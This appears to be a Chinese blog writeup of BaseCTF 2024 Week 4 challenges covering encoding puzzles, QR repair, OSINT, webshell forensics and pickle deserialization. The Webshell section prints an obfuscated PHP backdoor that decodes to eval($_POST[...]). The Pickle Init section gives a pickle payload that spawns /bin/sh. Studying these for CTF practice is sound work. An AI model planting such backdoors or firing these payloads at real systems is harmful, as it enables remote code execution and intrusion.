BaseCTF2024 Week4 Writeup

Misc

New Base

先查看txt文件发现只含有 BaseCTF! 中的字符,所以可以确定,这是一种换表的base8。大致原理如下:

由于2**3=8,所以每3个比特为一个单元,对应某个可打印字符。3个字节有24个比特,对应于8个base8单元,即编码时,3个字节(明文)可由8个可打印字符(密文)来表示一组。举个例子:

image-20240905203826247

所以总的来说可以认为Base系列编码的本质是单表替换和进制转化。直接通过CyberChef进行单表替换和二进制转字符串得到一张png图片。

image-20240905212126192

得到flag

BaseCTF{But_everyone_is_running_their_own_RACE_in_their_own_TIME}

二维码2-阿喀琉斯之踵

根据二维码的基本结构进行修复

image-20240905161714894

这一题需要修复的地方是版本信息和定位图形区域,修复后解码得到flag

image-20240905161805822

BaseCTF{tH3_cRe4tOr_0f_QR_F0rM4t_1s_a_9en1u5}

小cheny的社交

这里有一点点非预期,搜索cheny在某赛事群发现QQ,直接在个人签名中发现博客,在博客中发现尊嘟假嘟密文

o.O owO ovo Owo o_0 ow0 o.0 0wÖ o.O OvÖ Öw0 0_O o_O Ö.Ö owo O_O

解码得到后半段flag

kn0w_ch3ny}

在LSB通道中发现base64密文

MDAXMTAWMTEgMDAXMTEWMDAgMDAXMTAXMDAgMDAXMTEWMDAgMDAXMTAXMTAOMDAXMTAXMDAgMDAXMTAXMDEgMDAXMTAWMTAgMDAXMTAWMDAgMDAXMTAXMTE=

但是解码过程出现错误,未能得到解出信息,根据wp得到解出的QQ号

3848645207

在动态找到另一段尊嘟假嘟密文

Övo 0vO O.0 OwÖ Ö_0 Ö.o Öw0 Ö.o Öv0 0vÖ 0_0 0.o Öw0 O.O 0w0 o_Ö o_O ÖvÖ Ov0 ow0 Ö.Ö Owo

解码得到前一段flag

BaseCTF{h4h_y0u_

得到完整flag

BaseCTF{h4h_y0u_kn0w_ch3ny}

Webshell

提出rar文件解压后扔到代码审计软件中,wp中说的是D盾,但是我这边扔进去没什么响应。

定位到 phpStudy\WWW\www\wp-content\plugins\hello.php 文件

if(empty($_SESSION['cfg']))           $_SESSION['cfg']=file_get_contents(hex2bin('687474703a2f2f3132372e302e302e312f77702d636f6e74656e742f7468656d65732f7477656e74797369787465656e2f6a732f75692e6a73'));
$arr=array(str_rot13(base64_decode($_SESSION['cfg'])),);
array_filter($arr,str_rot13(base64_decode('bmZmcmVn')));

通过解读代码发现他是从一个url路径读取,十六进制解码得到路径 http://127.0.0.1/wp-content/themes/twentysixteen/js/ui.js

文件中发现base64字符串

QHJpbnkoJF9DQkZHWyJvN3BxbnMwMzBxNTlzc3JxNzMxcXBuMDFuMTU2NXJybyJdKQ==

base64解码后ROT13解码,得到密码

QHJpbnkoJF9DQkZHWyJvN3BxbnMwMzBxNTlzc3JxNzMxcXBuMDFuMTU2NXJybyJdKQ==    ---->base64
@riny($_CBFG["o7pqns030q59ssrq731qpn01n1565rro"]) ---->ROT13
@eval($_POST["b7cdaf030d59ffed731dca01a1565eeb"])

得到flag

BaseCTF{b7cdaf030d59ffed731dca01a1565eeb}

Pickle Init

(以下内容摘自WP)Source code如下:

#!/bin/bashecho "${GZCTF_FLAG}" > /flag
python3 -c "__import__('pickle').loads(__import__('sys').stdin.read(50).encode('ASCII'))"

读50个字符并且没有什么过滤 唯一的问题他需要ASCII only

比较简单可以搜一下 找到一些文章 https://goodapple.top/archives/1069

理解之后写一个payload即可

cos
system
(S'/bin/sh'
tR.
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇